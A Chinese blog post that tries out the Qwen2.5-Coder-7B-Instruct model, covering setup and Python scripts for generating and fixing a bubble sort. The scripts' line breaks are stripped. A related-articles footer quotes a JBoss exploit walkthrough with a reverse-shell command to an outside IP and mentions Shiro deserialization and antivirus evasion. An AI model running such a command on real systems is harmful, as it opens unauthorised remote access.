开源模型应用落地-Qwen2.5-Coder模型小试-码无止境(一)

一、前言

     代码专家模型是一种基于人工智能的先进技术,旨在自动分析和理解大量代码库,并从中学习常见的编码模式和最佳实践。这种模型通过深度学习和自然语言处理,能够提供准确而高效的代码建议,帮助开发人员在编写代码时有效地避免常见的错误和陷阱。

    利用代码专家模型,开发人员能够获得高效、准确且个性化的代码支持。这不仅显著提高了工作效率,还能在不同技术环境中简化软件开发流程。通过自动化的代码分析,开发人员可以更专注于创造性的编程任务,从而推动软件开发的创新与进步。

    总之,代码专家模型的引入不仅是技术的进步,更是软件开发方式的一次革命。它为开发者提供了更为强大的工具,使他们能够在复杂的技术环境中游刃有余,专注于更具创造性和挑战性的项目。随着这一技术的不断发展与普及,未来的软件开发将会更加高效、智能和富有创造力。


二、术语

2.1.Qwen2.5-Coder

    是通义千问新一代开源模型中用于编程的特定系列大语言模型(前身是 code qwen)。它具有以下特点:

1. 训练数据及规模方面

  • 在多达 5.5 万亿 tokens 的编程相关数据上作了训练,涵盖源代码、文本-代码关联数据、合成数据等,为模型提供了丰富的编程知识和模式。

2. 性能提升方面

  • 相比 code qwen 1.5,在代码生成、代码推理和代码修复方面有了显著提升,为开发者提供更高效、准确的代码辅助。

3. 应用基础方面

  • 为代码相关的实际应用如代码代理等提供了更全面的基础,让模型不仅局限于代码的生成,还能更好地适应各种代码相关任务的实际场景。

4. 上下文处理方面

  • 支持长上下文,最长可达 128k tokens,能够处理大规模的代码文本和复杂的编程逻辑。

5. 模型体系方面

  • 发布了三个基础语言模型和指令微调语言模型,包括 1.5B、7B 和未来的 32B(开发中)不同参数规模的版本,以满足不同用户和场景的需求。

2.2.Qwen2.5-Coder-7B-Instruct

    是在 Qwen2.5-Coder 的基础上通过指令微调得到的模型,它在多个任务上性能进一步提升,在多编程语言能力、代码推理、数学能力和基础能力等方面表现突出。


三、前置条件

3.1.基础环境

操作系统:centos7

Tesla V100-SXM2-32GB  CUDA Version: 12.2

3.2.下载模型

huggingface:

https://huggingface.co/Qwen/Qwen2.5-Coder-7B-Instruct/tree/main

ModelScope:

git clone https://www.modelscope.cn/qwen/Qwen2.5-Coder-7B-Instruct.git

PS:

1. 根据实际情况选择不同规格的模型

3.3.创建虚拟环境

conda create --name qwen2.5 python=3.10 

3.4.安装依赖库

conda activate qwen2.5
pip install transformers torch accelerate

四、使用方式

4.1.生成代码能力

# -*-  coding = utf-8 -*-
from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfigdevice = "cuda" modelPath='/data/model/qwen2.5-coder-7b-instruct'def loadTokenizer():# print("loadTokenizer: ", modelPath)tokenizer = AutoTokenizer.from_pretrained(modelPath)return tokenizerdef loadModel(config):print("loadModel: ",modelPath)model = AutoModelForCausalLM.from_pretrained(modelPath,torch_dtype="auto",device_map="auto")model.generation_config = configreturn modelif __name__ == '__main__':prompt = "用Python写一个冒泡排序算法的例子"messages = [{"role": "system", "content": "你是一名Python编程助手,专注于生成高效、清晰和可读的Python代码。请确保代码遵循最佳实践,并添加适当的注释以便于理解。"},{"role": "user", "content": prompt}]config = GenerationConfig.from_pretrained(modelPath, top_p=0.9, temperature=0.45, repetition_penalty=1.1,do_sample=True, max_new_tokens=8192)tokenizer = loadTokenizer()model = loadModel(config)text = tokenizer.apply_chat_template(messages,tokenize=False,add_generation_prompt=True)model_inputs = tokenizer([text], return_tensors="pt").to(device)generated_ids = model.generate(model_inputs.input_ids)generated_ids = [output_ids[len(input_ids):] for input_ids, output_ids in zip(model_inputs.input_ids, generated_ids)]response = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]print(response)

调用结果:

在IDEA中运行模型生成的代码

结论:

模型能根据需求生成可运行代码

4.2.修改代码的能力

示例说明:

把冒泡排序正确的代码故意修改为错误,异常为:UnboundLocalError: local variable 'j' referenced before assignment

# -*-  coding = utf-8 -*-
from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfigdevice = "cuda"modelPath = '/data/model/qwen2.5-coder-7b-instruct'def loadTokenizer():# print("loadTokenizer: ", modelPath)tokenizer = AutoTokenizer.from_pretrained(modelPath)return tokenizerdef loadModel(config):# print("loadModel: ",modelPath)model = AutoModelForCausalLM.from_pretrained(modelPath,torch_dtype="auto",device_map="auto")model.generation_config = configreturn modelif __name__ == '__main__':prompt = '''
我用Python写了一个冒泡排序的算法例子,但是运行结果不符合预期,请修改,具体代码如下:
def bubble_sort(nums):n = len(nums)for i in range(n):for j in range(0, n-i-1):if nums[j] < nums[j+1]:nums[j], nums[j+1] = nums[j+1], nums[j]return numsif __name__ == "__main__":unsorted_list = [64, 34, 25, 12, 22, 11, 90]print("原始列表:", unsorted_list)sorted_list = bubble_sort(unsorted_list)print("排序后的列表:", sorted_list)         
'''messages = [{"role": "system", "content": "You are a helpful assistant."},{"role": "user", "content": prompt}]config = GenerationConfig.from_pretrained(modelPath, top_p=0.9, temperature=0.1, repetition_penalty=1.1,do_sample=True, max_new_tokens=8192)tokenizer = loadTokenizer()model = loadModel(config)text = tokenizer.apply_chat_template(messages,tokenize=False,add_generation_prompt=True)model_inputs = tokenizer([text], return_tensors="pt").to(device)generated_ids = model.generate(model_inputs.input_ids)generated_ids = [output_ids[len(input_ids):] for input_ids, output_ids in zip(model_inputs.input_ids, generated_ids)]response = tokenizer.batch_decode(generated_ids, skip_special_tokens=True)[0]print(response)

调用结果:

在IDEA中运行模型修正的代码

结论:

模型能发现问题,并把异常修正

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1543480.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

[ComfyUI]Flux:太美啦!绮梦流光-水湄凝香,写实与虚拟混合,极致细节和质感

大家好我是安琪&#xff01;&#xff01;&#xff01; 在数字艺术和创意领域&#xff0c;[ComfyUI]Flux已经成为艺术家和设计师们手中的利器。今天&#xff0c;我们激动地宣布&#xff0c;[ComfyUI]Flux带来了一款令人瞩目的创新作品——绮梦流光-水湄凝香。这款作品将写实与虚…

怎么把kgm转换成mp3?5个kgm转mp3的方法,亲测管用!

很多小伙伴不难发现kgm格式只能在固定的平台或设备上播放&#xff0c;如果想要打破这一限制&#xff0c;我们可以将kgm格式转换为兼容性较强的mp3格式。 下面&#xff0c;就来给大家分享5个好用的kgm转mp3方法&#xff0c;操作简单&#xff0c;小白也能分分钟学会哦~ kgm转mp3…

全民皆信奥?编程教育不应成为‘金牌梦’的牺牲品

近年来&#xff0c;信息学奥赛&#xff08;信奥&#xff09;成为众多家长为孩子规划的学习目标之一&#xff0c;期望通过编程学习在未来脱颖而出&#xff0c;甚至进入清华、北大等顶尖高校。然而&#xff0c;是否每个孩子都适合走这条信息学奥赛的道路&#xff1f;全民皆信奥是…

多机器学习模型学习

特征处理 import os import numpy as np import pandas as pd from sklearn.model_selection import train_test_split from sklearn.model_selection import StratifiedShuffleSplit from sklearn.impute import SimpleImputer from sklearn.pipeline import FeatureUnion fr…

JBOSS中间件漏洞复现

CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…

MySQL之基本查询(二)(update || delete || 聚合函数 || group by)

目录 一、表的更新update 二、表的删除delete 三、聚合函数 四、group by 分组查询 一、表的更新update 语法&#xff1a; UPDATE table_name SET column expr [, column expr ...] [WHERE ...] [ORDER BY ...] [LIMIT ...] 使用实列&#xff1a; ~ 将孙悟空同学的数学…

Shiro rememberMe反序列化漏洞(Shiro-550) 靶场攻略

漏洞原理 Apache Shiro框架提供了记住密码的功能&#xff08;RememberMe&#xff09;&#xff0c;⽤户登录成功后会⽣成经过 加密并编码的cookie。在服务端对rememberMe的cookie值&#xff0c;先base64解码然后AES解密再反 序列化&#xff0c;就导致了反序列化RCE漏洞。 那么&a…

杀软对抗 ---> Perfect Syscall??

好久没更了&#xff0c;今天想起来更新了&#x1f60b;&#x1f60b;&#x1f60b;&#x1f60b; 目录 1.AV && EDR 2.Perfect Syscall&#xff1f;&#xff1f; 3.Truly Perfect ??? 在开始之前先来展示一下这次的免杀效果 1.AV && EDR 360 天擎EDR …

Redis事务总结

1.事务介绍 Redis 事务是一个用于将多个命令打包在一起执行的功能&#xff0c;它可以确保这些命令按照顺序执行&#xff0c;并且具有原子性。这意味着事务中的命令要么全部执行&#xff0c;要么全部不执行&#xff0c;这有助于保持数据的一致性。 Redis 事务本质&#xff1a;…

教你轻松搞定西门子PLC与三菱PLC之间无线Modbus通讯

自第一台PLC在GM公司汽车生产线上首次应用成功以来&#xff0c;PLC凭借其方便性、可靠性以及低廉的价格得到了广泛的应用。在现代化工厂中&#xff0c;除厂级PLC系统外&#xff0c;还存在很多独立的子系统。比如&#xff0c;各个生产车间的PLC系统、或同一生产车间的不同生产流…

JavaSE高级(3)——lombok、juint单元测试、断言

一、lombok的使用 默认jvm不解析第三方注解&#xff0c;需要手动开启 链式调用 二、juint单元测试 下载juint包 public class TestDemo {// 在每一个单元测试方法执行之前执行Beforepublic void before() {// 例如可以在before部分创建IO流System.out.println("befor…

【大模型实战篇】大模型GPU推理测试(以Qwen2.5-7B为例)

1. 背景介绍 今天到了两块新的3090卡&#xff0c;用nvidia-smi看下部署情况。我们使用Qwen2.5-7B简单做了下推理测试。 3090卡的基本配置信息如下图所示&#xff0c;使用两块卡做成GPU集群&#xff0c;显存有48G&#xff0c;内存带宽936.2 GB/s&#xff0c; 基本上可以应对…

【OpenCV】场景中人的识别与前端计数

1.OpenCV代码设计讲解 突发奇想&#xff0c;搞个摄像头&#xff0c;识别一下实验室里面有几个人&#xff0c;计数一下&#xff08;最终代码是累加计数&#xff0c;没有优化&#xff09;&#xff0c;拿OpenCV来玩一玩 首先&#xff0c;还是优先启动电脑摄像头&#xff0c;本项…

实验十七:串口通信实验

串口通信实验硬件接口图 具体原理可以查看相应的资料和视频 现就代码分享如下; main.c #include<reg52.h>typedef unsigned int u16; typedef unsigned char u8;sbit LED1=P2^0;void delay_10us(u16 n) {while(n--); }int n=0;void delay_ms(u16 ms) {u16 i,j;for(i=…

在线思维导图怎么制作?只需要台这些组合分析法!

思维导图经历了漫长的进化&#xff0c;现已成为信息组织、记忆和头脑风暴的重要工具。其制作方式主要有手绘和软件两种&#xff0c;随着互联网的发展&#xff0c;软件制作因其便捷性和易于保存逐渐占据主导。如今&#xff0c;在线工具使得用户能够免费创建思维导图。本文将以即…

实验十八:IIC-EEPROM实验

这个实验比较复杂,是目前第一个多文件项目 KEY1-4:P3^0-P3^3 IIC_SCL=P2^1; IIC_SDA=P2^0; //定义数码管位选信号控制脚 LSA=P2^2; LSB=P2^3; LSC=P2^4; 代码 main.c #include "public.h" #in

写作文的AI,不妨试试这些工具

写作文的AI&#xff0c;随着人工智能技术的迅猛发展&#xff0c;AI写作软件已经成为许多作家、学生和内容创作者的得力助手。这些软件不仅能帮助用户生成高质量的文章&#xff0c;还能提供创意灵感、语法校正和内容优化等多重功能。下面&#xff0c;本文将介绍五款各具特色的AI…

真正能抵抗裁员的,从不是专业能力,早知道这些都财务自由了

‍‍‍‍前几天跟一位朋友聊起来。 说她在大厂工作接近5年&#xff0c;业绩也不错&#xff0c;本想着再熬几年就回老家发展。没想到&#xff0c;今年公司大幅裁员&#xff0c;项目组直接被连锅端。 本以为不会轮到她了&#xff0c;上午被叫去办公室谈话&#xff0c;签字&…

高温情况下电容器失效的解决措施

在高温环境下&#xff0c;电容器容易出现失效问题&#xff0c;这不仅会影响设备的正常运行&#xff0c;还可能引发安全隐患。为有效应对高温条件下电容器的失效&#xff0c;需从预防、监测、选择合适的电容器以及维护保养等多个方面入手。以下是详细的解决措施&#xff1a; 一…

男生找女搭子一起旅游的目的,并没有你想象中的那么复杂!

在繁华都市的写字楼里&#xff0c;有一个名叫林宇的男生。最近&#xff0c;他在工作上遭遇了一系列的挫折&#xff0c;项目进展不顺&#xff0c;还被领导批评&#xff0c;心情郁闷到了极点。 为了排解心中的烦闷&#xff0c;林宇决定出去旅游。但他不想一个人孤单地踏上旅程&am…